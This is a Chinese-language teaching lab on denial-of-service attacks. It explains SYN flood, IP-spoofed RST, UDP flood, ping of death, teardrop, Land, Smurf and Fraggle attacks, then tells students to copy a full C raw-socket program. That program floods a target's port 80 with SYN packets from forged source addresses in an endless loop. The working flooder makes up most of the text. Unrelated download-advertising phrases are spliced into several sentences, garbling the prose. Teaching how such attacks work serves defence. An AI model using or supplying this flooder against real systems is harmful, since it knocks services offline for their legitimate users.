实验目的:
掌握拒绝服务攻击的原理以及过程。掌握攻击原理后思考如何防范。
实验环境:
PC终端两台,拒绝服务攻击软件一个。
实验原理:
拒绝服务攻击即攻击者想
办法
鲁班奖评选办法下载鲁班奖评选办法下载鲁班奖评选办法下载企业年金办法下载企业年金办法下载
让目标机器停止提供服务或资源访问,是黑客常用的攻击手段之一。这些资源包括磁盘空间、内存、进程甚至网络带宽,从而阻止正常用户的访问。其实对网络带宽进行的消耗性攻击只是拒绝服务攻击的一小部分,只要能够对目标造成麻烦,使某些服务被暂停甚至主机死机,都属于拒绝服务攻击。拒绝服务攻击问题也一直得不到合理的解决,究其原因是因为这是由于网络
协议
离婚协议模板下载合伙人协议 下载渠道分销协议免费下载敬业协议下载授课协议下载
本身的安全缺陷造成的,从而拒绝服务攻击也成为了攻击者的终极手法。攻击者进行拒绝服务攻击,实际上让服务器实现两种效果:一是迫使服务器的缓冲区满,不接收新的请求;二是使用IP欺骗,迫使服务器把合法用户的连接复位,影响合法用户的连接。
拒绝服务攻击的原理
1.SYN Flood
SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(Distributed Denial Of Service分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,使被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。
具体原理是:TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接。这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒~2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况(伪造IP地址),服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源。即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃—— 即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况就称作:服务器端受到了SYN Flood攻击(SYN洪水攻击)。
2.IP欺骗DOS攻击
这种攻击利用RST位来实现。假设现在有一个合法用户(61.61.61.61)已经同服务器建立了正常的连接,攻击者构造攻击的TCP数据,伪装自己的IP为61.61.61.61,并向服务器发送一个带有RST位的TCP数据段。服务器接收到这样的数据后,认为从61.61.61.61发送的连接有错误,就会清空缓冲区中建立好的连接。这时,如果合法用户61.61.61.61再发送合法数据,服务器就已经没有这样的连接了,该用户就必须从新开始建立连接。攻击时,攻击者会伪造大量的IP地址,向目标发送RST数据,使服务器不对合法用户服务,从而实现了对受害服务器的拒绝服务攻击。
3. UDP洪水攻击
攻击者利用简单的TCP/IP服务,如Chargen和Echo来传送毫无用处的占满带宽的数据。通过伪造与某一主机的Chargen服务之间的一次的UDP连接,回复地址指向开着Echo服务的一台主机,这样就生成在两台主机之间存在很多的无用数据流,这些无用数据流就会导致带宽的服务攻击。
4. Ping洪流攻击
由于在早期的阶段,路由器对包的最大尺寸都有限制。许多操作系统对TCP/IP栈的实现在ICMP包上都是规定64KB,并且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓冲区。当产生畸形的,声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64K上限时,就会出现内存分配错误,导致TCP/IP堆栈崩溃,致使接受方死机。
5. 泪滴(teardrop)攻击
泪滴攻击是利用在TCP/IP堆栈中实现信任IP碎片中的包的标题头所包含的信息来实现自己的攻击。IP分段含有指明该分段所包含的是原包的哪一段的信息,某些TCP/IP(包括service pack 4以前的NT)在收到含有重叠偏移的伪造分段时将崩溃。
6. Land攻击
Land攻击原理是:用一个特别打造的SYN包,它的原地址和目标地址都被设置成某一个服务器地址。此举将导致接受服务器向它自己的地址发送SYN-ACK消息,结果这个地址又发回ACK消息并创建一个空连接。被攻击的服务器每接收一个这样的连接都将保留,直到超时,对Land攻击反应不同,许多UNIX实现将崩溃,NT变的极其缓慢(大约持续5分钟)。
7. Smurf攻击
一个简单的Smurf攻击原理就是:通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包来淹没受害主机的方式进行。最终导致该网络的所有主机都对此ICMP应答请求作出答复,导致网络阻塞。它比ping of death洪水的流量高出1或2个数量级。更加复杂的Smurf将源地址改为第三方的受害者,最终导致第三方崩溃。
8.Fraggle攻击
原理:Fraggle攻击实际上就是对Smurf攻击作了简单的修改,使用的是UDP应答消息而非ICMP。
拒绝服务攻击的属性分类法
J.Mirkovic和P. Reiher [Mirkovic04]提出了拒绝服务攻击的属性分类法,即将攻击属性分为攻击静态属性、攻击动态属性和攻击交互属性三类,根据DoS攻击的这些属性的不同,就可以对攻击进行详细的分类。凡是在攻击开始前就已经确定,在一次连续的攻击中通常不会再发生改变的属性,称为攻击静态属性。攻击静态属性是由攻击者和攻击本身所确定的,是攻击基本的属性。那些在攻击过程中可以进行动态改变的属性,如攻击的目标选取、时间选择、使用源地址的方式,称为攻击动态属性。而那些不仅与攻击者相关而且与具体受害者的配置、
检测
工程第三方检测合同工程防雷检测合同植筋拉拔检测方案传感器技术课后答案检测机构通用要求培训
与服务能力也有关系的属性,称为攻击交互属性。
实验步骤:
抄写下列代码,了解拒绝服务攻击的原理。
#include
#include
#include
#include
#pragma comment (lib,"ws2_32.lib")
#define SEQ 0x28376839
#define SYN_DEST_IP "192.168.1.101"//被攻击的IP
#define FAKE_IP "122.168.13.2" //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段
#define STATUS_FAILED 0xFFFF //错误返回值
typedef struct _iphdr
{
unsigned char h_verlen; //4位首部长度+4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议号(TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
typedef struct _tcphdr
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度+6位保留字中的4位
unsigned char th_flag; //2位保留字+6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;
typedef struct _psdhdr
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz; //置空
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}PSD_HEADER;
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size-=sizeof(USHORT);}
if(size ) cksum += *(UCHAR*)buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
int main()
{
int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
int TimeOut=2000,SendSEQ=0;
char SendBuf[128]={0};
char RecvBuf[65535]={0};
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
PSD_HEADER psd_header;
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
ExitProcess(STATUS_FAILED);
}
SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if (SockRaw==INVALID_SOCKET){
fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
flag=TRUE;
//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n");
__try{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR){
fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
__leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
//高四位IP版本号,低四位首部长度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)
ip_header.ident=1; //16位标识
ip_header.frag_and_flags=0; //3位标志位
ip_header.ttl=128; //8位生存时间TTL
ip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…)
ip_header.checksum=0; //16位IP首部校验和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址
ip_header.destIP=inet_addr(SYN_DEST_IP); //32位目的IP地址
//填充TCP首部
tcp_header.th_sport=htons(7000); //源端口号
tcp_header.th_dport=htons(80); //目的端口号
tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号
tcp_header.th_ack=0; //ACK序列号置为0
tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位
tcp_header.th_flag=2; //SYN 标志
tcp_header.th_win=htons(16384); //窗口大小
tcp_header.th_urp=0; //偏移
tcp_header.th_sum=0; //校验和
//填充TCP伪首部(用于计算校验和,并不真正发送)
psd_header.saddr=ip_header.sourceIP; //源地址
psd_header.daddr=ip_header.destIP; //目的地址
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP; //协议类型
psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部长度
while(1) {
//每发送10,240个报文输出一个标示符
printf(".");
for(counter=0;counter<10240;counter++){
if(SendSEQ++==65536) SendSEQ=1; //序列号循环
//更改IP首部
ip_header.checksum=0; //16位IP首部校验和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址
//更改TCP首部
tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号
tcp_header.th_sum=0; //校验和
//更改TCP Pseudo Header
psd_header.saddr=ip_header.sourceIP;
//计算TCP校验和,计算校验和时需要包括TCP pseudo header
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
//计算IP校验和
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
datasize=sizeof(ip_header)+sizeof(tcp_header);
ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
//填充发送缓冲区
memcpy(SendBuf,&ip_header,sizeof(ip_header));
//发送TCP报文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
//send(SockRaw,SendBuf,datasize,0);
if (ErrorCode==SOCKET_ERROR)
printf("\nSend Error:%d\n",GetLastError());
}//End of for
}//End of While
}//End of try
__finally {
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
return 0;
}